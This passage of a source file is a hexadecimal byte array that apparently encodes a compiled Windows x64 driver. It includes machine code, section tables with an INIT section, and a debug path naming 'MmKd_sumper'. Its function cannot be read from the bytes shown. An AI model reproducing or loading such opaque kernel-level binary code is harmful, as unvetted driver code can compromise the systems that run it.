0xC8, 0x27, 0x74, 0x25, 0x81, 0xFA, 0xBA, 0xE9, 0x0E, 0x5A, 0x74, 0x4B, 0x81, 0xFA, 0xB1, 0x5D, 0xEE, 0x6C, 0x75, 0x8A,
0xEB, 0x4D, 0xF6, 0x44, 0x24, 0x07, 0x01, 0xBA, 0xB1, 0x5D, 0xEE, 0x6C, 0x41, 0x0F, 0x44, 0xD0, 0xE9, 0x75, 0xFF, 0xFF,
0xFF, 0x48, 0x89, 0x4C, 0x24, 0x08, 0x48, 0x8B, 0x54, 0x24, 0x08, 0x48, 0x83, 0xFA, 0x15, 0xBA, 0x3F, 0xAC, 0xAD, 0xC6,
0x41, 0x0F, 0x42, 0xD1, 0xE9, 0x59, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x54, 0x24, 0x10, 0xC6, 0x02, 0x01, 0xBA, 0xB1, 0x5D,
0xEE, 0x6C, 0xE9, 0x47, 0xFF, 0xFF, 0xFF, 0xBA, 0xEA, 0x9A, 0xC8, 0x27, 0x31, 0xC9, 0xE9, 0x3B, 0xFF, 0xFF, 0xFF, 0x48,
0x83, 0xC4, 0x18, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xFF, 0x25, 0x02, 0x05, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, 0x37, 0x49, 0x83, 0xF8,
0x10, 0x77, 0x11, 0x4C, 0x8B, 0x1A, 0x4A, 0x8B, 0x54, 0x02, 0xF8, 0x4C, 0x89, 0x19, 0x4A, 0x89, 0x54, 0x01, 0xF8, 0xC3,
0x49, 0x83, 0xF8, 0x20, 0x77, 0x5A, 0x0F, 0x10, 0x02, 0x42, 0x0F, 0x10, 0x4C, 0x02, 0xF0, 0x0F, 0x11, 0x01, 0x42, 0x0F,
0x11, 0x4C, 0x01, 0xF0, 0xC3, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x85, 0xC0, 0x74, 0x15, 0x48, 0x2B, 0xD1,
0x72, 0x16, 0x44, 0x8A, 0x1C, 0x11, 0x48, 0xFF, 0xC1, 0x49, 0xFF, 0xC8, 0x44, 0x88, 0x59, 0xFF, 0x75, 0xF0, 0xC3, 0x0F,
0x1F, 0x44, 0x00, 0x00, 0x49, 0x03, 0xC8, 0x44, 0x8A, 0x5C, 0x11, 0xFF, 0x48, 0xFF, 0xC9, 0x49, 0xFF, 0xC8, 0x44, 0x88,
0x19, 0x75, 0xF0, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x8D, 0x1C, 0x02,
0x48, 0x2B, 0xD1, 0x73, 0x09, 0x4C, 0x3B, 0xD9, 0x0F, 0x87, 0x6E, 0x01, 0x00, 0x00, 0x0F, 0x10, 0x04, 0x11, 0x48, 0x83,
0xC1, 0x10, 0xF6, 0xC1, 0x0F, 0x74, 0x12, 0x48, 0x83, 0xE1, 0xF0, 0x0F, 0x10, 0x0C, 0x11, 0x0F, 0x11, 0x00, 0x0F, 0x28,
0xC1, 0x48, 0x83, 0xC1, 0x10, 0x4C, 0x03, 0xC0, 0x4C, 0x2B, 0xC1, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x06, 0x74, 0x6F,
0x49, 0x81, 0xF9, 0x00, 0x10, 0x00, 0x00, 0x0F, 0x87, 0xB3, 0x00, 0x00, 0x00, 0x49, 0x83, 0xE0, 0x3F, 0xEB, 0x2D, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0F, 0x10, 0x0C, 0x11, 0x0F, 0x10, 0x54, 0x11, 0x10, 0x0F, 0x10, 0x5C, 0x11, 0x20, 0x0F, 0x10,
0x64, 0x11, 0x30, 0x0F, 0x29, 0x41, 0xF0, 0x48, 0x83, 0xC1, 0x40, 0x49, 0xFF, 0xC9, 0x0F, 0x29, 0x49, 0xC0, 0x0F, 0x29,
0x51, 0xD0, 0x0F, 0x29, 0x59, 0xE0, 0x0F, 0x28, 0xC4, 0x75, 0xD1, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x04, 0x74, 0x19,
0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x29, 0x41, 0xF0, 0x0F, 0x10, 0x04, 0x11, 0x48, 0x83, 0xC1, 0x10,
0x49, 0xFF, 0xC9, 0x75, 0xEF, 0x49, 0x83, 0xE0, 0x0F, 0x74, 0x0E, 0x4E, 0x8D, 0x5C, 0x01, 0xF0, 0x41, 0x0F, 0x10, 0x0C,
0x13, 0x41, 0x0F, 0x11, 0x0B, 0x0F, 0x29, 0x41, 0xF0, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x06, 0x49,
0x83, 0xE0, 0x3F, 0x0F, 0x18, 0x44, 0x11, 0x40, 0xEB, 0x2E, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84,
0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x0F, 0x10, 0x0C, 0x11,
0x0F, 0x10, 0x54, 0x11, 0x10, 0x0F, 0x10, 0x5C, 0x11, 0x20, 0x0F, 0x10, 0x64, 0x11, 0x30, 0x0F, 0x2B, 0x41, 0xF0, 0x48,
0x83, 0xC1, 0x40, 0x0F, 0x18, 0x44, 0x11, 0x40, 0x49, 0xFF, 0xC9, 0x0F, 0x2B, 0x49, 0xC0, 0x0F, 0x2B, 0x51, 0xD0, 0x0F,
0x2B, 0x59, 0xE0, 0x0F, 0x28, 0xC4, 0x75, 0xCC, 0x0F, 0xAE, 0xF8, 0xE9, 0x33, 0xFF, 0xFF, 0xFF, 0x0F, 0x1F, 0x40, 0x00,
0x49, 0x03, 0xC8, 0x0F, 0x10, 0x44, 0x11, 0xF0, 0x48, 0x83, 0xE9, 0x10, 0x49, 0x83, 0xE8, 0x10, 0xF6, 0xC1, 0x0F, 0x74,
0x18, 0x4C, 0x8B, 0xD9, 0x48, 0x83, 0xE1, 0xF0, 0x0F, 0x10, 0x0C, 0x11, 0x41, 0x0F, 0x11, 0x03, 0x0F, 0x28, 0xC1, 0x4C,
0x8B, 0xC1, 0x4C, 0x2B, 0xC0, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x06, 0x74, 0x39, 0x49, 0x83, 0xE0, 0x3F, 0xEB, 0x04,
0x0F, 0x1F, 0x40, 0x00, 0x0F, 0x10, 0x4C, 0x11, 0xF0, 0x0F, 0x10, 0x54, 0x11, 0xE0, 0x0F, 0x10, 0x5C, 0x11, 0xD0, 0x0F,
0x10, 0x64, 0x11, 0xC0, 0x0F, 0x29, 0x01, 0x48, 0x83, 0xE9, 0x40, 0x49, 0xFF, 0xC9, 0x0F, 0x29, 0x49, 0x30, 0x0F, 0x29,
0x51, 0x20, 0x0F, 0x29, 0x59, 0x10, 0x0F, 0x28, 0xC4, 0x75, 0xD1, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x04, 0x74, 0x19,
0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x29, 0x01, 0x0F, 0x10, 0x44, 0x11, 0xF0, 0x48, 0x83, 0xE9, 0x10,
0x49, 0xFF, 0xC9, 0x75, 0xEF, 0x49, 0x83, 0xE0, 0x0F, 0x74, 0x0F, 0x4C, 0x8B, 0xD9, 0x4D, 0x2B, 0xD8, 0x41, 0x0F, 0x10,
0x0C, 0x13, 0x41, 0x0F, 0x11, 0x0B, 0x0F, 0x29, 0x01, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x28, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x51, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x64, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9A, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAA, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB6, 0x51, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xCE, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE6, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF8, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x52, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x1B, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00,
0x60, 0x1B, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xC0, 0x11, 0x00, 0x00, 0x60, 0x18, 0x00, 0x00,
0x30, 0x1B, 0x00, 0x00, 0x40, 0x1B, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xFF, 0xFB, 0x66, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x4D, 0x00, 0x00, 0x00,
0xF8, 0x21, 0x00, 0x00, 0xF8, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFB, 0x66, 0x6A, 0x00, 0x00, 0x00, 0x00,
0x0D, 0x00, 0x00, 0x00, 0x4C, 0x01, 0x00, 0x00, 0x48, 0x22, 0x00, 0x00, 0x48, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x30, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x20, 0x00, 0x40,
0x01, 0x00, 0x00, 0x00, 0x78, 0x20, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x80, 0x20, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, 0x8B, 0xBE, 0xFF, 0x6B, 0xBF, 0xA0, 0x7B, 0x47, 0xB8, 0x13, 0xDB, 0x53,
0xCB, 0x3C, 0x4F, 0x51, 0x01, 0x00, 0x00, 0x00, 0x44, 0x3A, 0x5C, 0x50, 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, 0x5C, 0x58,
0x5C, 0x4D, 0x6D, 0x4B, 0x64, 0x5F, 0x73, 0x75, 0x6D, 0x70, 0x65, 0x72, 0x5C, 0x78, 0x36, 0x34, 0x5C, 0x52, 0x65, 0x6C,
0x65, 0x61, 0x73, 0x65, 0x5C, 0x4D, 0x6D, 0x4B, 0x64, 0x5F, 0x73, 0x75, 0x6D, 0x70, 0x65, 0x72, 0x2E, 0x70, 0x64, 0x62,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x30, 0x0B, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78,
0x74, 0x00, 0x00, 0x00, 0x30, 0x1B, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E,
0x00, 0x00, 0x00, 0x00, 0x50, 0x1B, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E,
0x24, 0x30, 0x30, 0x00, 0x80, 0x1B, 0x00, 0x00, 0xAA, 0x02, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E,
0x24, 0x32, 0x31, 0x00, 0x00, 0x20, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x35,
0x00, 0x00, 0x00, 0x00, 0x70, 0x20, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, 0x66, 0x67, 0x00, 0x00,
0x80, 0x20, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x2E, 0x67, 0x66, 0x69, 0x64, 0x73, 0x00, 0x00, 0xA0, 0x20, 0x00, 0x00,
0x58, 0x01, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xF8, 0x21, 0x00, 0x00, 0xA0, 0x01, 0x00, 0x00,
0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x98, 0x23, 0x00, 0x00,
0x84, 0x00, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00,
0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x60, 0x30, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00, 0x2E, 0x62, 0x73, 0x73,
0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00,
0x00, 0x50, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0x90, 0x50, 0x00, 0x00,
0x14, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, 0xA4, 0x50, 0x00, 0x00,
0x14, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x33, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x50, 0x00, 0x00,
0x70, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, 0x00, 0x00, 0x00, 0x00, 0x28, 0x51, 0x00, 0x00,
0x20, 0x01, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x04, 0x01, 0x00, 0x04, 0x42, 0x00, 0x00, 0x19, 0x11, 0x08, 0x35, 0x11, 0x03, 0x0C, 0x62, 0x08, 0x30, 0x07, 0x70,
0x06, 0x60, 0x05, 0xE0, 0x03, 0xF0, 0x01, 0x50, 0x30, 0x1B, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x5D, 0x10, 0x00, 0x00,
0x6B, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE7, 0x10, 0x00, 0x00, 0x01, 0x10, 0x09, 0x00, 0x10, 0x82, 0x0C, 0x30,
0x0B, 0x50, 0x0A, 0x70, 0x09, 0x60, 0x08, 0xC0, 0x06, 0xD0, 0x04, 0xE0, 0x02, 0xF0, 0x00, 0x00, 0x01, 0x0A, 0x06, 0x00,
0x0A, 0x52, 0x06, 0x30, 0x05, 0x50, 0x04, 0x70, 0x03, 0x60, 0x02, 0xE0, 0x01, 0x04, 0x01, 0x00, 0x04, 0x22, 0x00, 0x00,
0x02, 0x0A, 0x06, 0x00, 0x02, 0x06, 0x03, 0x06, 0x0A, 0x34, 0x06, 0x00, 0x0A, 0x32, 0x06, 0x70, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0xBB, 0x88, 0xBB,
